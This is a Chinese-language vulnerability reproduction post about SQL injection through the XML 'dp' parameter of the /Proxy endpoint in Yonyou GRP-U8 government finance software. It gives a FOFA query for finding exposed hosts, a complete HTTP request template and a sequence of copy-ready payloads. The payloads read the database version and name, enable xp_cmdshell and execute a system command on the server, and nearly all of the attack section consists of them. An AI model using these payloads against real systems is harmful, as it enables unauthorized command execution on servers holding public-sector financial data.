用友 GRP-U8 Proxy XXE-SQL注入漏洞

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漏洞复现 用友 GRP-U8 Proxy XXE-SQL注入漏洞

0x01 阅读须知

0x02 漏洞描述

用友GRP-U8R10行政事业财务管理软件是用友公司专注于电子政务事业，基于云计算技术所推出的新一代产品，是我国行政事业财务领域专业的财务管理软件。用友 GRP-U8 proxy接口存在SQL注入漏洞，攻击者通过漏洞可以获取服务器权限。

0x03 漏洞复现

fofa：title=”用友GRP-U8行政事业内控管理软件”

1.执行POC，查询MSSQL数据库版本，得到回显

POST /Proxy HTTP/1.1
Accept: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Host: {{Hostname}}
Content-type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>

2.POST下发送7个XXE包，查询库名、开启xp_cmdshell、并执行dir命令，得到回显

1.查看当前数据库名称
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select db_name()</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>

2.开启xp_cmdshell操作，查询到当前数据库名称后，第一个包需要修改当前库名
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show advanced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdshell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

3.执行dir命令
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell "dir"</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>